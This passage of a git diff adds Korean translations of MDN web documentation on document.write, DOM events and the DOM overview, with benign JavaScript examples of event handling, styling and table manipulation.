+<div class="note"><strong>Note</strong>: Starting in 55, Chrome will not execute <code>&lt;script&gt;</code> elements injected via <code>document.write()</code> in case of an HTTP cache miss for users on a 2G connection.</div>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}</td>
+ <td>{{Spec2("DOM2 HTML")}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.write")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("element.innerHTML") }}</li>
+ <li>{{ domxref("document.createElement()") }}</li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/events/index.html b/files/ko/web/api/document_object_model/events/index.html
new file mode 100644
index 0000000000..2974c9d435
--- /dev/null
+++ b/files/ko/web/api/document_object_model/events/index.html
@@ -0,0 +1,84 @@
+---
+title: Events and the DOM
+slug: Web/API/Document_Object_Model/Events
+translation_of: Web/API/Document_Object_Model/Events
+---
+<div>{{DefaultAPISidebar("DOM")}}</div>
+
+<h2 id="Introduction" name="Introduction">소개</h2>
+
+<p>이 장에서는 DOM 이벤트 모델을 설명한다.  <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Event</a> 인터페이스는 DOM의 노드에서 이벤트 등록 및  <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">event listeners</a>를 위한 인터페이스와 더불어 다양한 이벤트 인터페이스가 서로 어떻게 관련되는지 보여주는 몇 가지 더 긴 예와 함께 설명된다.</p>
+
+<p>There is an excellent diagram that clearly explains the three phases of event flow through the DOM in the <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events draft</a>.</p>
+
+<p>Also see <a href="/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Example 5: Event Propagation</a> in the Examples chapter for a more detailed example of how events move through the DOM.</p>
+
+<h2 id="DOM_event_handler_List" name="DOM_event_handler_List">Event listener등록</h2>
+
+<p>DOM 요소에 대한 이벤트 핸들러를 등록하는 방법에는 3가지가 있다.</p>
+
+<h3 id="EventTarget.addEventListener" name="EventTarget.addEventListener">{{domxref("EventTarget.addEventListener")}}</h3>
+
+<pre class="brush: js notranslate">// Assuming myButton is a button element
+myButton.addEventListener('click', greet, false)
+function greet(event){
+  // print and have a look at the event object
+  // always print arguments in case of overlooking any other arguments
+ console.log('greet:', arguments)
+  alert('hello world')
+}
+</pre>
+
+<p>이 방식은 근대의 웹페이지에서 사용해야하는 방법이다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Internet Explorer 6–8 didn't support this method, offering a similar {{domxref("EventTarget.attachEvent")}} API instead. For cross-browser compatibility, use one of the many JavaScript libraries available.</p>
+</div>
+
+<p>더 자세한 내용은{{domxref("EventTarget.addEventListener")}}를 참조하세요.</p>
+
+<h3 id="HTML_attribute" name="HTML_attribute"><a href="/en-US/docs/Web/Guide/HTML/Event_attributes">HTML </a>속성</h3>
+
+<pre class="brush: html notranslate">&lt;button onclick="alert('Hello world!')"&gt;
+</pre>
+
+<p>속성에서 JavaScript 코드는 이벤트 매개변수를 통해 이벤트 객체를 통과합니다. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">반환 값은 HTML 사양에 설명된 특별한 방법으로 처리됩니다.</a></p>
+
+<div class="blockIndicator warning">
+<p><strong>경고:</strong> 이 방법은 피해야 합니다! 그것은 마크업을 부풀리고, 읽기 어렵게 만듭니다. 내용/구조와 행동에 대한 우려는 잘 분리되어 있지 않아 버그를 찾기가 더 어려워집니다.</p>
+</div>
+
+<h3 id="DOM_element_properties" name="DOM_element_properties">DOM 요소 특성</h3>
+
+<pre class="brush: js notranslate">// Assuming myButton is a button element
+myButton.onclick = function(event){alert('Hello world')}
+</pre>
+
+<p>The function can be defined to take an <code>event</code> parameter. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">The return value is treated in a special way, described in the HTML specification</a>.</p>
+
+<p>The problem with this method is that only one handler can be set per element and per event.</p>
+
+<h2 id="Accessing_Event_interfaces">Accessing Event interfaces</h2>
+
+<p>Event handlers may be attached to various objects (including DOM elements, document, the {{domxref("window")}} object, etc.). When an event occurs, an event object is created and passed sequentially to the event listeners.</p>
+
+<p>The {{domxref("Event")}} interface is accessible from within the handler function, via the event object passed as the first argument. The following simple example shows how an event object is passed to the event handler function, and can be used from within one such function.</p>
+
+<pre class="brush: js notranslate">function print(evt) {
+ // the evt parameter is automatically assigned the event object
+  // take care of the differences between console.log &amp; alert
+  console.log('print:', evt)
+ alert(evt)
+}
+// any function should have an appropriate name, that's what called semantic
+table_el.onclick = print
+</pre>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/examples/index.html b/files/ko/web/api/document_object_model/examples/index.html
new file mode 100644
index 0000000000..aacebc7d07
--- /dev/null
+++ b/files/ko/web/api/document_object_model/examples/index.html
@@ -0,0 +1,372 @@
+---
+title: Examples
+slug: Web/API/Document_Object_Model/Examples
+---
+<p>이 장에서는 DOM을 사용한 웹, XML 개발의 긴 예제를 제공합니다. 예제는 문서의 object를 조작하기 위해 가능한 JavaScript의 일반적인 API, 트릭, 패턴을 사용합니다. </p>
+
+<h2 id="Example_1_height_and_width" name="Example_1:_height_and_width">예제 1: 높이와 너비</h2>
+
+<p>아래의 예제는 다양한 면적의 이미지를 통해 <code>height</code> 와 <code>width</code>  속성을 사용하는 방법을 보여줍니다:</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;width/height example&lt;/title&gt;
+&lt;script&gt;
+function init() {
+ var arrImages = new Array(3);
+
+ arrImages[0] = document.getElementById("image1");
+ arrImages[1] = document.getElementById("image2");
+ arrImages[2] = document.getElementById("image3");
+
+ var objOutput = document.getElementById("output");
+ var strHtml = "&lt;ul&gt;";
+
+ for (var i = 0; i &lt; arrImages.length; i++) {
+ strHtml += "&lt;li&gt;image" + (i+1) +
+ ": height=" + arrImages[i].height +
+ ", width=" + arrImages[i].width +
+ ", style.height=" + arrImages[i].style.height +
+ ", style.width=" + arrImages[i].style.width +
+ "&lt;\/li&gt;";
+ }
+
+ strHtml += "&lt;\/ul&gt;";
+
+ objOutput.innerHTML = strHtml;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="init();"&gt;
+
+&lt;p&gt;Image 1: no height, width, or style
+ &lt;img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif"&gt;
+&lt;/p&gt;
+
+&lt;p&gt;Image 2: height="50", width="500", but no style
+ &lt;img id="image2"
+ src="http://www.mozilla.org/images/mozilla-banner.gif"
+ height="50" width="500"&gt;
+&lt;/p&gt;
+
+&lt;p&gt;Image 3: no height, width, but style="height: 50px; width: 500px;"
+ &lt;img id="image3"
+ src="http://www.mozilla.org/images/mozilla-banner.gif"
+ style="height: 50px; width: 500px;"&gt;
+&lt;/p&gt;
+
+&lt;div id="output"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_2_Image_Attributes" name="Example_2:_Image_Attributes">예제 2: 이미지 속성</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Modifying an image border&lt;/title&gt;
+
+&lt;script&gt;
+function setBorderWidth(width) {
+ document.getElementById("img1").style.borderWidth = width + "px";
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;
+ &lt;img id="img1"
+ src="image1.gif"
+ style="border: 5px solid green;"
+ width="100" height="100" alt="border test"&gt;
+&lt;/p&gt;
+
+&lt;form name="FormName"&gt;
+ &lt;input type="button" value="Make border 20px-wide" onclick="setBorderWidth(20);" /&gt;
+ &lt;input type="button" value="Make border 5px-wide" onclick="setBorderWidth(5);" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_3_Manipulating_Styles" name="Example_3:_Manipulating_Styles">예제 3: 스타일 조작</h2>
+
+<p>아래의 간단한 예제에서 HTML 단락 element( <code>&lt;p&gt;</code>)의 일부 기본 스타일 속성들은 DOM에서 검색하고 설정할 수 있는 element의 스타일 객체와, 그 객체의 CSS 스타일 속성을 사용해 접근합니다. 이 경우 개별 스타일을 직접 조작합니다. 다음 예제(예제 4)에서는 stylesheet와 해당 규칙을 사용해 전체 문서의 스타일을 변경할 수 있습니다. </p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Changing color and font-size example&lt;/title&gt;
+
+&lt;script&gt;
+function changeText() {
+ var p = document.getElementById("pid");
+
+ p.style.color = "blue"
+ p.style.fontSize = "18pt"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;p id="pid" onclick="window.location.href = 'http://www.cnn.com/';"&gt;linker&lt;/p&gt;
+
+&lt;form&gt;
+ &lt;p&gt;&lt;input value="rec" type="button" onclick="changeText();" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_4_Using_Stylesheets" name="Example_4:_Using_Stylesheets">예제 4: Stylesheet 사용</h2>
+
+<p>document 객체의 styleSheets 속성은 그 문서에서 로드된 stylesheet 목록을 반환합니다. 이 예제에서 설명된대로 stylesheet, 스타일, CSSRule 객체를 사용해 이러한 stylesheet와 규칙에 개별적으로 접근할 수 있습니다. 이 예제는 모든 스타일 규칙 Selector를 콘솔에 출력합니다. </p>
+
+<pre class="brush:js">var ss = document.styleSheets;
+
+for(var i = 0; i &lt; ss.length; i++) {
+ for(var j = 0; j &lt; ss[i].cssRules.length; j++) {
+ dump( ss[i].cssRules[j].selectorText + "\n" );
+ }
+}</pre>
+
+<p>아래와 같은 세가지 규칙이 정의된 하나의 stylesheet가 있는 문서의 경우: </p>
+
+<pre class="brush:css">body { background-color: darkblue; }
+p { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+</pre>
+
+<p>위 스크립트의 결과물은 아래와 같습니다:</p>
+
+<pre>BODY
+P
+#LUMPY
+</pre>
+
+<h2 id="Example_5_Event_Propagation" name="Example_5:_Event_Propagation">예제 5: Event 전파</h2>
+
+<p>This example demonstrates how events fire and are handled in the DOM in a very simple way. When the BODY of this HTML document loads, an event listener is registered with the top row of the TABLE. The event listener handles the event by executing the function stopEvent, which changes the value in the bottom cell of the table.</p>
+
+<p>However, stopEvent also calls an event object method, {{domxref("event.stopPropagation")}}, which keeps the event from bubbling any further up into the DOM. Note that the table itself has an {{domxref("element.onclick","onclick")}} event handler that ought to display a message when the table is clicked. But the stopEvent method has stopped propagation, and so after the data in the table is updated, the event phase is effectively ended, and an alert box is displayed to confirm this.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Event Propagation&lt;/title&gt;
+
+&lt;style&gt;
+#t-daddy { border: 1px solid red }
+#c1 { background-color: pink; }
+&lt;/style&gt;
+
+&lt;script&gt;
+function stopEvent(ev) {
+ c2 = document.getElementById("c2");
+ c2.innerHTML = "hello";
+
+ // this ought to keep t-daddy from getting the click.
+ ev.stopPropagation();
+ alert("event propagation halted.");
+}
+
+function load() {
+ elem = document.getElementById("tbl1");
+ elem.addEventListener("click", stopEvent, false);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="load();"&gt;
+
+&lt;table id="t-daddy" onclick="alert('hi');"&gt;
+ &lt;tr id="tbl1"&gt;
+ &lt;td id="c1"&gt;one&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td id="c2"&gt;two&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_6_getComputedStyle" name="Example_6:_getComputedStyle">Example 6: getComputedStyle</h2>
+
+<p>This example demonstrates how the {{domxref("window.getComputedStyle")}} method can be used to get the styles of an element that are not set using the <code>style</code> attribute or with JavaScript (e.g., <code>elt.style.backgroundColor="rgb(173, 216, 230)"</code>). These latter types of styles can be retrieved with the more direct {{domxref("element.style", "elt.style")}} property, whose properties are listed in the <a href="/en-US/docs/Web/CSS/Reference">DOM CSS Properties List</a>.</p>
+
+<p><code>getComputedStyle()</code> returns a <code>ComputedCSSStyleDeclaration</code> object, whose individual style properties can be referenced with this object's <code>getPropertyValue()</code> method, as the following example document shows.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+
+&lt;title&gt;getComputedStyle example&lt;/title&gt;
+
+&lt;script&gt;
+function cStyles() {
+ var RefDiv = document.getElementById("d1");
+ var txtHeight = document.getElementById("t1");
+ var h_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+
+ txtHeight.value = h_style;
+
+ var txtWidth = document.getElementById("t2");
+ var w_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+
+ txtWidth.value = w_style;
+
+ var txtBackgroundColor = document.getElementById("t3");
+ var b_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("background-color");
+
+ txtBackgroundColor.value = b_style;
+}
+&lt;/script&gt;
+
+&lt;style&gt;
+#d1 {
+ margin-left: 10px;
+ background-color: rgb(173, 216, 230);
+ height: 20px;
+ max-width: 20px;
+}
+&lt;/style&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;div id="d1"&gt;&amp;nbsp;&lt;/div&gt;
+
+&lt;form action=""&gt;
+ &lt;p&gt;
+ &lt;button type="button" onclick="cStyles();"&gt;getComputedStyle&lt;/button&gt;
+ height&lt;input id="t1" type="text" value="1" /&gt;
+ max-width&lt;input id="t2" type="text" value="2" /&gt;
+ bg-color&lt;input id="t3" type="text" value="3" /&gt;
+ &lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_7_Displaying_Event_Object_Properties" name="Example_7:_Displaying_Event_Object_Properties">Example 7: Displaying Event Object Properties</h2>
+
+<p>This example uses DOM methods to display all the properties of the {{domxref("window.onload")}} {{domxref("event")}} object and their values in a table. It also shows a useful technique of using a for..in loop to iterate over the properties of an object to get their values.</p>
+
+<p>The properties of event objects differs greatly between browsers, the <a href="https://dom.spec.whatwg.org">WHATWG DOM Standard</a> lists the standard properties, however many browsers have extended these greatly.</p>
+
+<p>Put the following code into a blank text file and load it into a variety of browsers, you'll be surprised at the different number and names of properties. You might also like to add some elements in the page and call this function from different event handlers.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="utf-8"/&gt;
+&lt;title&gt;Show Event properties&lt;/title&gt;
+
+&lt;style&gt;
+table { border-collapse: collapse; }
+thead { font-weight: bold; }
+td { padding: 2px 10px 2px 10px; }
+
+.odd { background-color: #efdfef; }
+.even { background-color: #ffffff; }
+&lt;/style&gt;
+
+&lt;script&gt;
+
+function showEventProperties(e) {
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  var e = e || window.event;
+  document.getElementById('eventType').innerHTML = e.type;
+
+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Property', 'Value'];
+  var len = lableList.length;
+
+  for (var i=0; i&lt;len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+
+window.onload = function(event){
+  showEventProperties(event);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;h1&gt;Properties of the DOM &lt;span id="eventType"&gt;&lt;/span&gt; Event Object&lt;/h1&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_8_Using_the_DOM_Table_Interface" name="Example_8:_Using_the_DOM_Table_Interface">Example 8: Using the DOM Table Interface</h2>
+
+<p>The DOM HTMLTableElement interface provides some convenience methods for creating and manipulating tables. Two frequently used methods are {{domxref("HTMLTableElement.insertRow")}} and {{domxref("tableRow.insertCell")}}.</p>
+
+<p>To add a row and some cells to an existing table:</p>
+
+<pre class="brush:html">&lt;table id="table0"&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Row 0 Cell 0&lt;/td&gt;
+ &lt;td&gt;Row 0 Cell 1&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;script&gt;
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell,
+ text;
+
+for (var i = 0; i &lt; 2; i++) {
+ cell = row.insertCell(-1);
+ text = 'Row ' + row.rowIndex + ' Cell ' + i;
+ cell.appendChild(document.createTextNode(text));
+}
+&lt;/script&gt;
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<ul>
+ <li>A table's {{domxref("element.innerHTML","innerHTML")}} property should never be used to modify a table, although you can use it to write an entire table or the content of a cell.</li>
+ <li>If DOM Core methods {{domxref("document.createElement")}} and {{domxref("Node.appendChild")}} are used to create rows and cells, IE requires that they are appended to a tbody element, whereas other browsers will allow appending to a table element (the rows will be added to the last tbody element).</li>
+ <li>There are a number of other convenience methods belonging to the <a href="/en-US/docs/Web/API/HTMLTableElement#Methods">table interface</a> that can be used for creating and modifying tables.</li>
+</ul>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/index.html b/files/ko/web/api/document_object_model/index.html
new file mode 100644
index 0000000000..fa5ff39eec
--- /dev/null
+++ b/files/ko/web/api/document_object_model/index.html
@@ -0,0 +1,350 @@
+---
+title: 문서 객체 모델(DOM)
+slug: Web/API/Document_Object_Model
+tags:
+ - API
+ - DOM
+ - Document
+ - Document Object Model
+ - Guide
+ - Overview
+ - Reference
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{DefaultAPISidebar("DOM")}}</p>
+
+<p><strong>문서 객체 모델(DOM)</strong>은 메모리에 웹 페이지 문서 구조를 표현함으로써 스크립트 및 프로그래밍 언어와 페이지를 연결합니다. 이때 스크립트는 주로 JavaScript를 의미하나 HTML, SVG, XML 객체를 문서로 모델링 하는 것은 JavaScript 언어의 일부가 아닙니다.</p>
+
+<p>DOM은 문서를 논리 트리로 표현합니다. 트리의 각 브랜치는 노드에서 끝나며, 각 노드는 객체를 갖습니다. DOM 메서드를 사용하면 프로그래밍적으로 트리에 접근할 수 있습니다. 이를 통해 문서의 구조, 스타일, 콘텐츠를 변경할 수 있습니다.</p>
+
+<p>노드는 이벤트 처리기도 포함할 수 있습니다. 이벤트가 발생한 순간, 해당 이벤트와 연결한 처리기가 발동합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>더 알아보려면:</strong> <a href="/ko/docs/Web/API/Document_Object_Model/%EC%86%8C%EA%B0%9C">DOM 소개</a> 문서를 방문해보세요.</p>
+</div>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("Attr")}}</li>
+ <li>{{DOMxRef("CDATASection")}}</li>
+ <li>{{DOMxRef("CharacterData")}}</li>
+ <li>{{DOMxRef("ChildNode")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("Comment")}}</li>
+ <li>{{DOMxRef("CustomEvent")}}</li>
+ <li>{{DOMxRef("Document")}}</li>
+ <li>{{DOMxRef("DocumentFragment")}}</li>
+ <li>{{DOMxRef("DocumentType")}}</li>
+ <li>{{DOMxRef("DOMError")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("DOMException")}}</li>
+ <li>{{DOMxRef("DOMImplementation")}}</li>
+ <li>{{DOMxRef("DOMString")}}</li>
+ <li>{{DOMxRef("DOMTimeStamp")}}</li>
+ <li>{{DOMxRef("DOMSettableTokenList")}}</li>
+ <li>{{DOMxRef("DOMStringList")}}</li>
+ <li>{{DOMxRef("DOMTokenList")}}</li>
+ <li>{{DOMxRef("Element")}}</li>
+ <li>{{DOMxRef("Event")}}</li>
+ <li>{{DOMxRef("EventTarget")}}</li>
+ <li>{{DOMxRef("HTMLCollection")}}</li>
+ <li>{{DOMxRef("MutationObserver")}}</li>
+ <li>{{DOMxRef("MutationRecord")}}</li>
+ <li>{{DOMxRef("NamedNodeMap")}}</li>
+ <li>{{DOMxRef("Node")}}</li>
+ <li>{{DOMxRef("NodeFilter")}}</li>
+ <li>{{DOMxRef("NodeIterator")}}</li>
+ <li>{{DOMxRef("NodeList")}}</li>
+ <li>{{DOMxRef("NonDocumentTypeChildNode")}}</li>
+ <li>{{DOMxRef("ParentNode")}}</li>
+ <li>{{DOMxRef("ProcessingInstruction")}}</li>
+ <li>{{DOMxRef("Selection")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("Range")}}</li>
+ <li>{{DOMxRef("Text")}}</li>
+ <li>{{DOMxRef("TextDecoder")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("TextEncoder")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("TimeRanges")}}</li>
+ <li>{{DOMxRef("TreeWalker")}}</li>
+ <li>{{DOMxRef("URL")}}</li>
+ <li>{{DOMxRef("Window")}}</li>
+ <li>{{DOMxRef("Worker")}}</li>
+ <li>{{DOMxRef("XMLDocument")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<div class="hidden">
+<h3 id="더_이상_사용하지_않는_DOM_인터페이스">더 이상 사용하지 않는 DOM 인터페이스</h3>
+
+<p>문서객체모델 매우 단순하게 변하고 있습니다. 이를 위해 다른 DOM 레벨 3 혹은 이전 사양에 있었던 아래의 인터페이스들을 제거했습니다. 향후에 이 중 일부가 다시 도입될 지는 확실하지 않지만 당분간은 모두 폐기된 것으로 간주하고 사용을 피해야 합니다.</p>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("DocumentTouch")}}}</li>
+ <li>{{DOMxRef("DOMConfiguration")}}</li>
+ <li>{{DOMxRef("DOMErrorHandler")}}}</li>
+ <li>{{DOMxRef("DOMImplementationList")}}</li>
+ <li>{{DOMxRef("DOMImplementationRegistry")}}</li>
+ <li>{{DOMxRef("DOMImplementationSource")}}</li>
+ <li>{{DOMxRef("DOMLocator")}}</li>
+ <li>{{DOMxRef("DOMObject")}}</li>
+ <li>{{DOMxRef("DOMSettableTokenList")}}</li>
+ <li>{{DOMxRef("DOMUserData")}}</li>
+ <li>{{DOMxRef("ElementTraversal")}}</li>
+ <li>{{DOMxRef("Entity")}}</li>
+ <li>{{DOMxRef("EntityReference")}}</li>
+ <li>{{DOMxRef("NameList")}}</li>
+ <li>{{DOMxRef("Notation")}}</li>
+ <li>{{DOMxRef("TypeInfo")}}</li>
+ <li>{{DOMxRef("UserDataHandler")}}</li>
+</ul>
+</div>
+</div>
+
+<h2 id="HTML_DOM">HTML DOM</h2>
+
+<p>문서는 다양한 HTML 관련 기능들을 포함하는 HTML 명세에 의해 확장된 {{DOMxRef("Document")}} 을 사용해 설명된 HTML 을 포함합니다.</p>
+
+<p><span>HTML 객체는 또한 {{DOMxRef("Window")}} 인터페이스, 이에 관련된 {{DOMxRef("window.style", "Style")}}(보통 CSS), 컨텍스트에 관련된 브라우저의 히스토리인 {{DOMxRef("window.history", "History")}} 를 사용해 페이지가 그려지는 탭이나 창과 같은 브라우저의 다양한 기능들에 접근할 수 있게 해줍니다. 마지막에는, 문서의 {{DOMxRef("Selection")}} 이 완료됩니다.</span></p>
+
+<p>자세한 내용은 <a href="/ko/docs/Web/API/HTML_DOM">HTML DOM API</a> 문서를 참고하세요.</p>
+
+<h2 id="SVG_인터페이스">SVG 인터페이스</h2>
+
+<h3 id="SVG_요소_인터페이스">SVG 요소 인터페이스</h3>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("SVGAElement")}}</li>
+ <li>{{DOMxRef("SVGAltGlyphElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAltGlyphDefElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAltGlyphItemElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAnimationElement")}}</li>
+ <li>{{DOMxRef("SVGAnimateElement")}}</li>
+ <li>{{DOMxRef("SVGAnimateColorElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAnimateMotionElement")}}</li>
+ <li>{{DOMxRef("SVGAnimateTransformElement")}}</li>
+ <li>{{DOMxRef("SVGCircleElement")}}</li>
+ <li>{{DOMxRef("SVGClipPathElement")}}</li>
+ <li>{{DOMxRef("SVGColorProfileElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGComponentTransferFunctionElement")}}</li>
+ <li>{{DOMxRef("SVGCursorElement")}}</li>
+ <li>{{DOMxRef("SVGDefsElement")}}</li>
+ <li>{{DOMxRef("SVGDescElement")}}</li>
+ <li>{{DOMxRef("SVGElement")}}</li>
+ <li>{{DOMxRef("SVGEllipseElement")}}</li>
+ <li>{{DOMxRef("SVGFEBlendElement")}}</li>
+ <li>{{DOMxRef("SVGFEColorMatrixElement")}}</li>
+ <li>{{DOMxRef("SVGFEComponentTransferElement")}}</li>
+ <li>{{DOMxRef("SVGFECompositeElement")}}</li>
+ <li>{{DOMxRef("SVGFEConvolveMatrixElement")}}</li>
+ <li>{{DOMxRef("SVGFEDiffuseLightingElement")}}</li>
+ <li>{{DOMxRef("SVGFEDisplacementMapElement")}}</li>
+ <li>{{DOMxRef("SVGFEDistantLightElement")}}</li>
+ <li>{{DOMxRef("SVGFEDropShadowElement")}}</li>
+ <li>{{DOMxRef("SVGFEFloodElement")}}</li>
+ <li>{{DOMxRef("SVGFEFuncAElement")}}</li>
+ <li>{{DOMxRef("SVGFEFuncBElement")}}</li>
+ <li>{{DOMxRef("SVGFEFuncGElement")}}</li>
+ <li>{{DOMxRef("SVGFEFuncRElement")}}</li>
+ <li>{{DOMxRef("SVGFEGaussianBlurElement")}}</li>
+ <li>{{DOMxRef("SVGFEImageElement")}}</li>
+ <li>{{DOMxRef("SVGFEMergeElement")}}</li>
+ <li>{{DOMxRef("SVGFEMergeNodeElement")}}</li>
+ <li>{{DOMxRef("SVGFEMorphologyElement")}}</li>
+ <li>{{DOMxRef("SVGFEOffsetElement")}}</li>
+ <li>{{DOMxRef("SVGFEPointLightElement")}}</li>
+ <li>{{DOMxRef("SVGFESpecularLightingElement")}}</li>
+ <li>{{DOMxRef("SVGFESpotLightElement")}}</li>
+ <li>{{DOMxRef("SVGFETileElement")}}</li>
+ <li>{{DOMxRef("SVGFETurbulenceElement")}}</li>
+ <li>{{DOMxRef("SVGFilterElement")}}</li>
+ <li>{{DOMxRef("SVGFilterPrimitiveStandardAttributes")}}</li>
+ <li>{{DOMxRef("SVGFontElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceFormatElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceNameElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceSrcElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceUriElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGForeignObjectElement")}}</li>
+ <li>{{DOMxRef("SVGGElement")}}</li>
+ <li>{{DOMxRef("SVGGeometryElement")}}</li>
+ <li>{{DOMxRef("SVGGlyphElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGGlyphRefElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGGradientElement")}}</li>
+ <li>{{DOMxRef("SVGGraphicsElement")}}</li>
+ <li>{{DOMxRef("SVGHatchElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGHatchpathElement")}} {{Experimental_Inline}}</li>
